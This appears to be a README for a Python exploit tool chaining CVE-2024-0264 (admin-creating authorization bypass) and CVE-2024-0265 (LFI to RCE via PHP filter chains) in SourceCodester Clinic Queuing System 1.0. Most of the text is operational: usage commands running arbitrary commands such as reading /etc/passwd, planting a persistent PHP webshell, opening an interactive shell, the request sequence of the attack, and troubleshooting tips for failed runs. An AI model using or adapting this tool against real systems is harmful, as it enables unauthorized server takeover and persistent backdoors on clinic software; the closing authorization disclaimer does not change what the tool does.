
Best proof of concept for CVE-2024-0264 and CVE-2024-0265 vulnerabilities. (LFI to RCE via PHP filter chain in oretnom23 clinic_queuing_system). Upgraded version of the original script, available in exploitdb.
Python exploit that chains an authorization bypass and an LFI in SourceCodester Clinic Queuing System 1.0 to achieve remote command execution, and optionally plant a persistent webshell.
CVE-2024-0264 — authorization bypass in /LoginRegistration.php by manipulating formToken. Allows creating an administrator user without being authenticated.CVE-2024-0265 — local file inclusion in /index.php via the page parameter, without sanitization.The RCE chain uses PHP filter chains (php://filter/...) to turn the LFI into code execution without the need to upload files or use poisoned logs.
Derived from the PoC by Juan Marco Sanchez (@jmrcsnchz) published on Exploit-DB 52008. This version adds arbitrary command execution, base64 escaping in both directions, verified backdoor deployment, and an interactive shell.
requestspip install requests
iconv enabled on the target (essential for the filter chain).shell_exec must not be in disable_functions to use mode exec.git clone https://github.com/wh1t3w1s4/CVE-2024-0264-PoC.git
cd <repo>
pip install -r requirements.txt
requirements.txt:
requests
python3 rce.py <target> [opciones]
python3 rce.py http://target
Create an admin, log in, and execute echo $((7*7)) through the chain. If you see 49, there is RCE.
python3 rce.py http://target --cmd 'id'
python3 rce.py http://target --cmd 'id' --cmd 'uname -a' --cmd 'cat /etc/passwd'
--cmd is repeatable and runs in order.
# nombre aleatorio en el docroot
python3 rce.py http://target --deploy
# ruta y primitiva propias
python3 rce.py http://target --deploy --bd system --path /var/www/html/x.php
The script writes the file, resolves the real path with realpath(), launches a verification GET, and returns the working URL:
[+] 16 bytes escritos en /var/www/html/rce_9f2a1c.php
[+] Backdoor operativo: http://target/rce_9f2a1c.php?0=comando
python3 rce.py http://target --deploy --shell
If the deployment fails or you don't want a backdoor, the shell can go over the chain itself:
python3 rce.py http://target --shell
python3 rce.py http://target --user admin --pass admin123 --cmd 'id'
Registration is skipped and it goes straight to login.
python3 rce.py http://target --token <formToken> --cmd 'id'
| Flag | Description |
|---|---|
target | Base URL, without trailing slash |
--user | Existing user |
--pass | User password |
--token | formToken obtained manually; avoids scraping |
--check | Execution test only (default behavior without other flags) |
--cmd | Command to execute; repeatable |
--deploy | Writes a webshell to the server |
--path | Backdoor path. Default <DOCUMENT_ROOT>/rce_<hex>.php |
--bd | Backdoor primitive: exec (backticks, default), system, passthru |
--shell | Interactive shell after deployment or over the chain |
--timeout | Timeout for execution requests (default 30 s) |
GET /index.php/login.php?page=manage_user uses PATH_INFO to bypass auth.php; the page emits formToken['manage_user'] in the session.POST /LoginRegistration.php?a=save_user with that token creates a user with status=1, type=1 (admin).formToken['login'] is extracted from login.php and exchanged at a=login.GET /index.php?page=php://filter/... decodes the filter chain into PHP code that runs in the include().file_put_contents(); the path is resolved with realpath() and verified with a real request.base64_decode(). No quoting collisions: quotes, $, & and backticks pass through intact.|a1b2c3d4e5|) delimit each output, so a cached response does not produce false positives and extraction is not cut off at the first < in the HTML.%2b written by hand in params= ends up double-encoded (%252b) and base64_decode() discards the %, corrupting the payload. The literal + is encoded correctly by requests.DOCUMENT_ROOT is empty or the file falls outside the webroot, the script detects it and shows the real path to retry with --path.| Symptom | Cause / solution |
|---|---|
414 URI Too Long | The chain plus the base64 exceed the server limit. Shorten the command or deploy the backdoor and work against it |
el chain ejecuta pero shell_exec devuelve vacío | shell_exec in disable_functions. Try --bd system / --bd passthru |
el chain no ejecuto | Missing iconv, allow_url_include aggressively disabled, or the include has a directory prefix |
| Backdoor written but 404 | The path is not web-accessible. Use --path inside the real docroot |
| Login fails | Session or user expired; repeat without --user/--pass |
WRITEFAIL | Directory without write permissions. Point to /tmp or to an uploads directory |
system, passthru) for when shell_exec is capped.Educational and auditing use. Test it only against your own systems or with authorization.